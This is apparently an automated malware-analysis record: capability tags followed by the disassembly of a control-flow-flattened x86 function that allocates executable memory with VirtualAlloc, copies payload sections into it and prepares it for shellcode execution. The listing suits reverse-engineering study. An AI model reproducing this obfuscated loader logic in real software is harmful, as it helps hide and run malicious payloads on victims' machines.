Function at 0x417cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], 0xdff8466
mov eax, dword [ebp - 0x40]
mov ecx, eax
sub ecx, 0x8a5bd9f2
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
jg 0x417d9f
jmp 0x417d89
mov eax, dword [ebp - 0x44]
sub eax, 0x8274cd49
mov dword [ebp - 0x4c], eax
je 0x418492
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x70ebec13
mov dword [ebp - 0x50], eax
jg 0x4183b8
jmp 0x417db5
mov eax, dword [ebp - 0x44]
sub eax, 0x6f262777
mov dword [ebp - 0x54], eax
jg 0x41839f
jmp 0x417dcb
mov eax, dword [ebp - 0x44]
sub eax, 0x6dffc9a6
mov dword [ebp - 0x58], eax
jg 0x418386
jmp 0x417de1
mov eax, dword [ebp - 0x44]
sub eax, 0x8b16dea7
mov dword [ebp - 0x5c], eax
jg 0x417e0d
jmp 0x417df7
mov eax, dword [ebp - 0x44]
sub eax, 0x8a5bd9f3
mov dword [ebp - 0x60], eax
je 0x4187a0
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x6d3497e8
mov dword [ebp - 0x64], eax
jg 0x41836d
jmp 0x417e23
mov eax, dword [ebp - 0x44]
sub eax, 0x6c7ef5be
mov dword [ebp - 0x68], eax
jg 0x418354
jmp 0x417e39
mov eax, dword [ebp - 0x44]
sub eax, 0x5ead285f
mov dword [ebp - 0x6c], eax
jg 0x41833b
jmp 0x417e4f
mov eax, dword [ebp - 0x44]
sub eax, 0x4ad5462d
mov dword [ebp - 0x70], eax
jg 0x418322
jmp 0x417e65
mov eax, dword [ebp - 0x44]
sub eax, 0x48fd4d06
mov dword [ebp - 0x74], eax
jg 0x418309
jmp 0x417e7b
mov eax, dword [ebp - 0x44]
sub eax, 0x480d6d06
mov dword [ebp - 0x78], eax
jg 0x4182f0
jmp 0x417e91
mov eax, dword [ebp - 0x44]
sub eax, 0x44b36fa9
mov dword [ebp - 0x7c], eax
jg 0x4182d7
jmp 0x417ea7
mov eax, dword [ebp - 0x44]
sub eax, 0x39288f55
mov dword [ebp - 0x80], eax
jg 0x4182be
jmp 0x417ebd
mov eax, dword [ebp - 0x44]
sub eax, 0x2241d200
mov dword [ebp - 0x84], eax
jg 0x4182a5
jmp 0x417ed6
mov eax, dword [ebp - 0x44]
sub eax, 0x11876d37
mov dword [ebp - 0x88], eax
jg 0x41828c
jmp 0x417eef
mov eax, dword [ebp - 0x44]
sub eax, 0x10c9594c
mov dword [ebp - 0x8c], eax
jg 0x418273
jmp 0x417f08
mov eax, dword [ebp - 0x44]
sub eax, 0xdff8465
mov dword [ebp - 0x90], eax
jg 0x41825a
jmp 0x417f21
mov eax, dword [ebp - 0x44]
sub eax, 0xb9d1e50
mov dword [ebp - 0x94], eax
jg 0x418241
jmp 0x417f3a
mov eax, dword [ebp - 0x44]
sub eax, 0xff1b004c
mov dword [ebp - 0x98], eax
jg 0x418228
jmp 0x417f53
mov eax, dword [ebp - 0x44]
sub eax, 0xf6164abd
mov dword [ebp - 0x9c], eax
jg 0x41820f
jmp 0x417f6c
mov eax, dword [ebp - 0x44]
sub eax, 0xf28a979d
mov dword [ebp - 0xa0], eax
jg 0x4181f6
jmp 0x417f85
mov eax, dword [ebp - 0x44]
sub eax, 0xdf4628ea
mov dword [ebp - 0xa4], eax
jg 0x4181dd
jmp 0x417f9e
mov eax, dword [ebp - 0x44]
sub eax, 0xd0528fb6
mov dword [ebp - 0xa8], eax
jg 0x4181c4
jmp 0x417fb7
mov eax, dword [ebp - 0x44]
sub eax, 0xc6652f4f
mov dword [ebp - 0xac], eax
jg 0x4181ab
jmp 0x417fd0
mov eax, dword [ebp - 0x44]
sub eax, 0xbb3c3556
mov dword [ebp - 0xb0], eax
jg 0x418192
jmp 0x417fe9
mov eax, dword [ebp - 0x44]
sub eax, 0xb8ce59ff
mov dword [ebp - 0xb4], eax
jg 0x418179
jmp 0x418002
mov eax, dword [ebp - 0x44]
sub eax, 0xb7eb0d12
mov dword [ebp - 0xb8], eax
jg 0x418160
jmp 0x41801b
mov eax, dword [ebp - 0x44]
sub eax, 0xb5d2f689
mov dword [ebp - 0xbc], eax
jg 0x418147
jmp 0x418034
mov eax, dword [ebp - 0x44]
sub eax, 0xa88ebbec
mov dword [ebp - 0xc0], eax
jg 0x41812e
jmp 0x41804d
mov eax, dword [ebp - 0x44]
sub eax, 0x9ec3b69f
mov dword [ebp - 0xc4], eax
jg 0x418115
jmp 0x418066
mov eax, dword [ebp - 0x44]
sub eax, 0x9cfaba0e
mov dword [ebp - 0xc8], eax
jg 0x4180fc
jmp 0x41807f
mov eax, dword [ebp - 0x44]
sub eax, 0x9bb87bad
mov dword [ebp - 0xcc], eax
jg 0x4180e3
jmp 0x418098
mov eax, dword [ebp - 0x44]
sub eax, 0x8b16dea8
mov dword [ebp - 0xd0], eax
je 0x418438
jmp 0x4180b1
mov eax, dword [ebp - 0x44]
sub eax, 0x8b6c7fc7
mov dword [ebp - 0xd4], eax
je 0x418733
jmp 0x4180ca
mov eax, dword [ebp - 0x44]
sub eax, 0x99b501bc
mov dword [ebp - 0xd8], eax
je 0x418576
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x9bb87bae
mov dword [ebp - 0xdc], eax
je 0x4186e2
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x9cfaba0f
mov dword [ebp - 0xe0], eax
je 0x4186c6
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x9ec3b6a0
mov dword [ebp - 0xe4], eax
je 0x4186a8
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xa88ebbed
mov dword [ebp - 0xe8], eax
je 0x41841a
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xb5d2f68a
mov dword [ebp - 0xec], eax
je 0x41854e
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xb7eb0d13
mov dword [ebp - 0xf0], eax
je 0x4184d2
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xb8ce5a00
mov dword [ebp - 0xf4], eax
je 0x41884b
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xbb3c3557
mov dword [ebp - 0xf8], eax
je 0x4185f1
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xc6652f50
mov dword [ebp - 0xfc], eax
je 0x418801
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xd0528fb7
mov dword [ebp - 0x100], eax
je 0x41868d
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xdf4628eb
mov dword [ebp - 0x104], eax
je 0x418445
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xf28a979e
mov dword [ebp - 0x108], eax
je 0x418569
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xf6164abe
mov dword [ebp - 0x10c], eax
je 0x418637
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xff1b004d
mov dword [ebp - 0x110], eax
je 0x418650
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xb9d1e51
mov dword [ebp - 0x114], eax
je 0x41849e
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0xdff8466
mov dword [ebp - 0x118], eax
je 0x4183d6
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x10c9594d
mov dword [ebp - 0x11c], eax
je 0x4187dd
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x11876d38
mov dword [ebp - 0x120], eax
je 0x4183f4
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x2241d201
mov dword [ebp - 0x124], eax
je 0x4184c5
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x39288f56
mov dword [ebp - 0x128], eax
je 0x418713
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x44b36faa
mov dword [ebp - 0x12c], eax
je 0x418754
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x480d6d07
mov dword [ebp - 0x130], eax
je 0x41887f
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x48fd4d07
mov dword [ebp - 0x134], eax
je 0x418746
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x4ad5462e
mov dword [ebp - 0x138], eax
je 0x418726
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x5ead2860
mov dword [ebp - 0x13c], eax
je 0x418643
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x6c7ef5bf
mov dword [ebp - 0x140], eax
je 0x418407
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x6d3497e9
mov dword [ebp - 0x144], eax
je 0x4185a7
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x6dffc9a7
mov dword [ebp - 0x148], eax
je 0x41859b
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x6f262778
mov dword [ebp - 0x14c], eax
je 0x4185e4
jmp 0x4183d1
mov eax, dword [ebp - 0x44]
sub eax, 0x70ebec14
mov dword [ebp - 0x150], eax
je 0x4186b4
jmp 0x4183d1
jmp 0x418886
mov eax, 0x11876d38
mov ecx, 0x6c7ef5bf
mov edx, dword [ebp - 0x18]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov esi, dword [eax]
mov dword [ebp - 0x40], 0x9cfaba0f
jmp 0x418886
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x40], 0xa88ebbed
jmp 0x418886
mov eax, 0x2241d201
mov ecx, 0x8b16dea8
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x28]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, 0xdf4628eb
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004069d0
mov ecx, 0x8274cd49
mov edx, dword [ebp - 0x2c]
add edx, 0xd
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 5]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x154], eax
jmp 0x418886
mov dword [ebp - 0x40], 0xb9d1e51
jmp 0x418886
mov eax, 0
mov ecx, dword [ebp - 0x38]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0xa88ebbed
jmp 0x418886
mov eax, 0xb7eb0d13
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, 0x20
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov edx, dword [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x158], eax
call fcn.004069d0
mov ecx, 0xb5d2f68a
mov edx, 0xffffffff
mov esi, dword [ebp - 0x30]
movzx esi, byte [esi]
xor esi, 0xffffffff
mov edi, edx
xor edi, 1
xor edx, 0xb5bf95b9
or esi, edi
or edx, 0xb5bf95b9
xor esi, 0xffffffff
and esi, edx
cmp esi, 0
setne bl
and bl, 1
mov byte [ebp - 0x12], bl
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x15c], eax
jmp 0x418886
mov eax, 0x6d3497e9
mov ecx, 0xf28a979e
mov dl, byte [ebp - 0x12]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, 0x99b501bc
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x34]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00415da0
mov eax, 0x6dffc9a7
mov dword [ebp - 0x40], eax
jmp 0x418886
mov dword [ebp - 0x40], 0x6d3497e9
jmp 0x418886
call fcn.00419810
mov ecx, 0x5ead2860
mov edx, 0x6f262778
mov esi, 0xffffffff
mov edi, dword [ebp - 0x30]
movzx edi, byte [edi]
xor esi, 3
mov ebx, edi
xor ebx, esi
and ebx, edi
cmp ebx, 0
cmovne ecx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x160], eax
jmp 0x418886
mov eax, 0xbb3c3557
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx + 1]
sub eax, edx
add eax, 0
add ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00416530
mov eax, 0xf6164abe
mov dword [ebp - 0x40], eax
jmp 0x418886
mov dword [ebp - 0x40], 0x5ead2860
jmp 0x418886
mov eax, 0xff1b004d
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417020
mov ecx, 0xd0528fb7
cmp eax, 0
setl bl
and bl, 1
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x40], ecx
jmp 0x418886
mov eax, 0x70ebec14
mov ecx, 0x9ec3b6a0
mov dl, byte [ebp - 0x11]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov dword [ebp - 0x40], 0x9cfaba0f
jmp 0x418886
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 0x4ad5462e
jmp 0x418886
mov eax, 0x39288f56
mov ecx, 0x9bb87bae
cmp dword [ebp - 0x34], 0
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x40], 0x39288f56
mov dword [ebp - 0x164], eax
jmp 0x418886
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], 0x4ad5462e
jmp 0x418886
mov eax, 0x8b6c7fc7
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, 0x48fd4d07
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x40], eax
jmp 0x418886
mov eax, dword [ebp - 0x10]
add esp, 0x178
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004069d0
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x2c]
add ecx, dword [edx + 5]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x40], 0xdf4628eb
mov dword [ebp - 0x168], eax
jmp 0x418886
mov eax, 0x20
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov edx, dword [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x16c], eax
call fcn.004069d0
mov dword [ebp - 0x40], 0xb7eb0d13
mov dword [ebp - 0x170], eax
jmp 0x418886
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x34]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00415da0
mov dword [ebp - 0x40], 0x99b501bc
jmp 0x418886
mov eax, 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx + 1]
sub eax, 0x2c84b176
sub eax, edx
add eax, 0x2c84b176
add ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00416530
mov dword [ebp - 0x40], 0xbb3c3557
jmp 0x418886
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417020
mov dword [ebp - 0x40], 0xff1b004d
mov dword [ebp - 0x174], eax
jmp 0x418886
mov dword [ebp - 0x40], 0x8b6c7fc7
jmp 0x417d6d